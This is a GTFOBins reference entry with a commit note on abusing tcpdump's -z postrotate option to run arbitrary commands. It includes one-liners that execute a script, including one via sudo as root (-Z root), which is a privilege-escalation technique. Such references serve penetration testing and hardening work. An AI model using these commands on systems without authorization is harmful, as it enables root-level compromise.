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GTFOBins.github.io/_gtfobins/tcpdump.md
Syed Umar Arfeen c37da57373 Providing user as argument using -Z 
For certain distributions running tcpdump without providing -Z (user) argument
causes the provided command to be executed as the `tcpdump` user which has low
privileges by default.
2019-09-23 04:04:05 +02:00

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description functions
These require some traffic to be actually captured. Also note that the subprocess is immediately sent to the background. In recent distributions (e.g., Debian 10 and Ubuntu 18) AppArmor limits the `postrotate-command` to a small subset of predefined commands thus preventing the execution of the following.
command sudo
code
COMMAND='id' TF=$(mktemp) echo "$COMMAND" > $TF chmod +x $TF tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF
code
COMMAND='id' TF=$(mktemp) echo "$COMMAND" > $TF chmod +x $TF sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root